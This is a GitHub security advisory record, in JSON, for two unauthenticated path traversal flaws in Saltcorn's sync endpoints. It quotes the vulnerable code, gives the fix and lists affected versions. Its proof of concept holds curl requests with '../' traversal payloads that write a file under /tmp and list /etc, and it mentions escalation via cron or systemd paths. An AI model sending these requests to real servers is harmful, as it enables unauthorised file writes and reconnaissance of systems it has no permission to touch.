{"id":"GHSA-32pv-mpqg-h292","summary":"Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read","details":"### Summary\n\nTwo unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The `POST /sync/offline_changes` endpoint allows an unauthenticated attacker to create arbitrary directories and write a `changes.json` file with attacker-controlled JSON content anywhere on the server filesystem. The `GET /sync/upload_finished` endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.\n\nThe safe path validation function `File.normalise_in_base()` exists in the codebase and is correctly used by the `clean_sync_dir` endpoint in the **same file** (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.\n\n### Details\n\n**Finding 1: Arbitrary file write — `POST /sync/offline_changes` (sync.js line 226)**\n\nThe `newSyncTimestamp` parameter from the request body is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = path.join(\n    rootFolder.location, \"mobile_app\", \"sync\", syncDirName\n);\nawait fs.mkdir(syncDir, { recursive: true });        // creates arbitrary dir\nawait fs.writeFile(\n    path.join(syncDir, \"changes.json\"),\n    JSON.stringify(changes)                           // writes attacker content\n);\n```\n\nNo authentication middleware is applied to this route. Since `path.join()` normalizes `../` sequences, setting `newSyncTimestamp` to `../../../../tmp/evil` causes the path to resolve outside the sync directory.\n\n**Finding 2: Arbitrary directory read — `GET /sync/upload_finished` (sync.js line 288)**\n\nThe `dir_name` query parameter is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDir = path.join(\n    rootFolder.location, \"mobile_app\", \"sync\", dir_name\n);\nlet entries = await fs.readdir(syncDir);\n```\n\nAlso unauthenticated. An attacker can list directory contents and read files named `translated-ids.json`, `unique-conflicts.json`, `data-conflicts.json`, or `error.json` from any directory.\n\n**Contrast — fixed endpoint in the same file (line 342):**\n\nThe `clean_sync_dir` endpoint correctly uses `File.normalise_in_base()`:\n\n```javascript\nconst syncDir = File.normalise_in_base(\n    path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n    dir_name\n);\nif (syncDir) await fs.rm(syncDir, { recursive: true, force: true });\n```\n\n### PoC\n\n```bash\n# Write arbitrary file to /tmp/\ncurl -X POST http://TARGET:3000/sync/offline_changes \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"newSyncTimestamp\": \"../../../../tmp/saltcorn_poc\",\n    \"oldSyncTimestamp\": \"0\",\n    \"changes\": {\"proof\": \"path_traversal_write\"}\n  }'\n# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content\n\n# List /etc/ directory\ncurl \"http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc\"\n```\n\n### Impact\n\n- **Unauthenticated arbitrary directory creation** anywhere on the filesystem\n- **Unauthenticated arbitrary JSON file write** (`changes.json`) to any writable directory\n- **Unauthenticated directory listing** of arbitrary directories\n- **Unauthenticated read** of specific JSON files from arbitrary directories\n- Potential for **remote code execution** via writing to sensitive paths (cron, systemd, Node.js module paths)\n\n### Remediation\n\nApply `File.normalise_in_base()` to both endpoints, matching the existing pattern in `clean_sync_dir`:\n\n```javascript\n// offline_changes fix\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = File.normalise_in_base(\n    path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n    syncDirName\n);\nif (!syncDir) {\n    return res.status(400).json({ error: \"Invalid sync directory name\" });\n}\n\n// upload_finished fix\nconst syncDir = File.normalise_in_base(\n    path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n    dir_name\n);\nif (!syncDir) {\n    return res.json({ finished: false });\n}\n```\n\nAdditionally, add `loggedIn` middleware to endpoints that modify server state.","aliases":["CVE-2026-40163"],"modified":"2026-04-10T19:56:21.826357Z","published":"2026-04-10T19:30:27Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-04-10T19:30:27Z","nvd_published_at":"2026-04-10T18:16:46Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/saltcorn/saltcorn/security/advisories/GHSA-32pv-mpqg-h292"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40163"},{"type":"PACKAGE","url":"https://github.com/saltcorn/saltcorn"}],"affected":[{"package":{"name":"@saltcorn/server","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.4.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-32pv-mpqg-h292/GHSA-32pv-mpqg-h292.json"}},{"package":{"name":"@saltcorn/server","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.5.0-beta.0"},{"fixed":"1.5.5"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-32pv-mpqg-h292/GHSA-32pv-mpqg-h292.json"}},{"package":{"name":"@saltcorn/server","ecosystem":"npm","purl":"pkg:npm/%40saltcorn/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.6.0-alpha.0"},{"fixed":"1.6.0-beta.4"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-32pv-mpqg-h292/GHSA-32pv-mpqg-h292.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}